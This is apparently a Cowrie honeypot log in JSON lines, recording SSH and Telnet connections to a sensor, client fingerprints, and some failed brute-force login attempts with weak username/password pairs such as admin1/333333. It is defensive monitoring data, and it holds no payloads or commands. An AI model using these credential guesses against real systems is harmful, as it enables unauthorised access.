{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":49138,"dst_ip":"159.203.135.109","dst_port":22,"session":"54c0526ad288","protocol":"ssh","message":"New connection: 159.203.92.129:49138 (159.203.135.109:22) [session: 54c0526ad288]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:30.079129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:30.166145Z","src_ip":"159.203.92.129","session":"54c0526ad288","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:30.174463Z","src_ip":"159.203.92.129","session":"54c0526ad288","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"333333","message":"login attempt [admin1/333333] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:30.302721Z","src_ip":"159.203.92.129","session":"54c0526ad288","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:31.322228Z","src_ip":"159.203.92.129","session":"54c0526ad288","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.79343247413635,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:34.134231Z","src_ip":"149.56.37.12","session":"1b66a83b52ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":46910,"dst_ip":"159.203.135.109","dst_port":23,"session":"96ef16fc4151","protocol":"telnet","message":"New connection: 149.56.37.12:46910 (159.203.135.109:23) [session: 96ef16fc4151]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:37.175037Z"}
{"eventid":"cowrie.session.closed","duration":37.339118003845215,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:38.052790Z","src_ip":"149.56.37.12","session":"125033caf854","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.84821939468384,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:38.084838Z","src_ip":"149.56.37.12","session":"7e1ce1f0726c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.254.118.99","src_port":42712,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7fbffd9b700","protocol":"telnet","message":"New connection: 162.254.118.99:42712 (159.203.135.109:23) [session: e7fbffd9b700]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:38.115610Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":49756,"dst_ip":"159.203.135.109","dst_port":23,"session":"973dc37690e7","protocol":"telnet","message":"New connection: 149.56.37.12:49756 (159.203.135.109:23) [session: 973dc37690e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:38.756814Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":50920,"dst_ip":"159.203.135.109","dst_port":23,"session":"28daeddecea5","protocol":"telnet","message":"New connection: 149.56.37.12:50920 (159.203.135.109:23) [session: 28daeddecea5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:39.604772Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":52502,"dst_ip":"159.203.135.109","dst_port":23,"session":"2148218402a2","protocol":"telnet","message":"New connection: 149.56.37.12:52502 (159.203.135.109:23) [session: 2148218402a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:40.679045Z"}
{"eventid":"cowrie.session.closed","duration":34.98140096664429,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:41.066903Z","src_ip":"149.56.37.12","session":"e5fa54dabadf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.99267315864563,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:42.695462Z","src_ip":"149.56.37.12","session":"64e542af2bd8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.254.118.99","src_port":57960,"dst_ip":"159.203.135.109","dst_port":23,"session":"9fc013bfe5bf","protocol":"telnet","message":"New connection: 162.254.118.99:57960 (159.203.135.109:23) [session: 9fc013bfe5bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:44.130713Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.254.118.99","src_port":57968,"dst_ip":"159.203.135.109","dst_port":23,"session":"8957f03ea718","protocol":"telnet","message":"New connection: 162.254.118.99:57968 (159.203.135.109:23) [session: 8957f03ea718]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:44.145443Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":58308,"dst_ip":"159.203.135.109","dst_port":23,"session":"61bc8e58b8c9","protocol":"telnet","message":"New connection: 149.56.37.12:58308 (159.203.135.109:23) [session: 61bc8e58b8c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:44.684577Z"}
{"eventid":"cowrie.session.connect","src_ip":"125.26.177.244","src_port":41040,"dst_ip":"159.203.135.109","dst_port":23,"session":"66afa8891749","protocol":"telnet","message":"New connection: 125.26.177.244:41040 (159.203.135.109:23) [session: 66afa8891749]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:46.859849Z"}
{"eventid":"cowrie.session.closed","duration":39.91175031661987,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:47.753612Z","src_ip":"149.56.37.12","session":"c9f5548386b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.544535398483276,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:51.003100Z","src_ip":"162.254.118.99","session":"261ea57adc37","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.254.118.99","src_port":35384,"dst_ip":"159.203.135.109","dst_port":23,"session":"a3a3db4a690c","protocol":"telnet","message":"New connection: 162.254.118.99:35384 (159.203.135.109:23) [session: a3a3db4a690c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:51.134418Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":41716,"dst_ip":"159.203.135.109","dst_port":23,"session":"495628da4438","protocol":"telnet","message":"New connection: 149.56.37.12:41716 (159.203.135.109:23) [session: 495628da4438]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:51.956064Z"}
{"eventid":"cowrie.session.closed","duration":30.858525276184082,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:51.988026Z","src_ip":"162.254.118.99","session":"a9eeb88d6820","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.514063835144043,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:52.011701Z","src_ip":"162.254.118.99","session":"66b7498cf473","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.254.118.99","src_port":35400,"dst_ip":"159.203.135.109","dst_port":23,"session":"f23d176a1a70","protocol":"telnet","message":"New connection: 162.254.118.99:35400 (159.203.135.109:23) [session: f23d176a1a70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:52.138662Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.120.216.232","src_port":34160,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb3a3a3d08bf","protocol":"ssh","message":"New connection: 45.120.216.232:34160 (159.203.135.109:22) [session: fb3a3a3d08bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:53.981106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:53.986294Z","src_ip":"45.120.216.232","session":"fb3a3a3d08bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.844200611114502,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:54.022120Z","src_ip":"162.254.118.99","session":"6ecba16341da","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:54.221849Z","src_ip":"45.120.216.232","session":"fb3a3a3d08bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.254.118.99","src_port":35412,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c596e1e33fb","protocol":"telnet","message":"New connection: 162.254.118.99:35412 (159.203.135.109:23) [session: 1c596e1e33fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:55.168457Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu@654321","message":"login attempt [ubuntu/ubuntu@654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:55.194931Z","src_ip":"45.120.216.232","session":"fb3a3a3d08bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:56.433191Z","src_ip":"45.120.216.232","session":"fb3a3a3d08bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.81401753425598,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:57.554693Z","src_ip":"149.56.37.12","session":"6a30cd9efeec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":52424,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c5ee6653801","protocol":"telnet","message":"New connection: 149.56.37.12:52424 (159.203.135.109:23) [session: 4c5ee6653801]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:02:59.059215Z"}
{"eventid":"cowrie.session.closed","duration":13.24658751487732,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:00.106322Z","src_ip":"125.26.177.244","session":"66afa8891749","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.48244500160217,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:00.149274Z","src_ip":"149.56.37.12","session":"a659487c1b11","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":54244,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d6eebe76daa","protocol":"telnet","message":"New connection: 149.56.37.12:54244 (159.203.135.109:23) [session: 5d6eebe76daa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:00.312431Z"}
{"eventid":"cowrie.session.closed","duration":35.67629313468933,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:00.948733Z","src_ip":"149.56.37.12","session":"6109c6b173f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.44214653968811,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:01.224514Z","src_ip":"149.56.37.12","session":"76351db1f638","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.254.118.99","src_port":46556,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4c85329312e","protocol":"telnet","message":"New connection: 162.254.118.99:46556 (159.203.135.109:23) [session: c4c85329312e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:02.150527Z"}
{"eventid":"cowrie.session.closed","duration":35.655723333358765,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:03.472999Z","src_ip":"149.56.37.12","session":"adf4440cb812","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.451289892196655,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:03.529125Z","src_ip":"149.56.37.12","session":"f1a4ce805ba3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":60576,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce4012a6c7b2","protocol":"telnet","message":"New connection: 149.56.37.12:60576 (159.203.135.109:23) [session: ce4012a6c7b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:04.239496Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":33326,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d6ca1d935fb","protocol":"telnet","message":"New connection: 149.56.37.12:33326 (159.203.135.109:23) [session: 2d6ca1d935fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:04.791440Z"}
{"eventid":"cowrie.session.closed","duration":30.902986764907837,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:09.018505Z","src_ip":"162.254.118.99","session":"e7fbffd9b700","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.110146284103394,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:10.284970Z","src_ip":"149.56.37.12","session":"96ef16fc4151","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.254.118.99","src_port":46970,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc3cf355677b","protocol":"telnet","message":"New connection: 162.254.118.99:46970 (159.203.135.109:23) [session: cc3cf355677b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:12.209460Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35296,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b4cdfe76369","protocol":"ssh","message":"New connection: 159.203.92.129:35296 (159.203.135.109:22) [session: 3b4cdfe76369]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:14.242226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:14.250113Z","src_ip":"159.203.92.129","session":"3b4cdfe76369","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:14.255625Z","src_ip":"159.203.92.129","session":"3b4cdfe76369","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"456123","message":"login attempt [admin1/456123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:14.326753Z","src_ip":"159.203.92.129","session":"3b4cdfe76369","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.889134407043457,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:15.019769Z","src_ip":"162.254.118.99","session":"9fc013bfe5bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.88033103942871,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:15.025663Z","src_ip":"162.254.118.99","session":"8957f03ea718","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:15.335200Z","src_ip":"159.203.92.129","session":"3b4cdfe76369","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.72773742675781,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:15.406658Z","src_ip":"149.56.37.12","session":"2148218402a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.961703300476074,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:15.566363Z","src_ip":"149.56.37.12","session":"28daeddecea5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00199317932129,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:15.604689Z","src_ip":"167.250.105.129","session":"bbae219aa519","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.6083562374115,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:16.365055Z","src_ip":"149.56.37.12","session":"973dc37690e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.15761041641235,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:16.842093Z","src_ip":"149.56.37.12","session":"61bc8e58b8c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":54720,"dst_ip":"159.203.135.109","dst_port":23,"session":"0431fa1ff668","protocol":"telnet","message":"New connection: 149.56.37.12:54720 (159.203.135.109:23) [session: 0431fa1ff668]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:20.055228Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":56296,"dst_ip":"159.203.135.109","dst_port":23,"session":"56c4176f7cc5","protocol":"telnet","message":"New connection: 149.56.37.12:56296 (159.203.135.109:23) [session: 56c4176f7cc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:20.180796Z"}
{"eventid":"cowrie.session.closed","duration":30.853270053863525,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:21.987598Z","src_ip":"162.254.118.99","session":"a3a3db4a690c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.851583003997803,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:22.990119Z","src_ip":"162.254.118.99","session":"f23d176a1a70","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":60794,"dst_ip":"159.203.135.109","dst_port":23,"session":"0cfb1e624c4a","protocol":"telnet","message":"New connection: 149.56.37.12:60794 (159.203.135.109:23) [session: 0cfb1e624c4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:23.026782Z"}
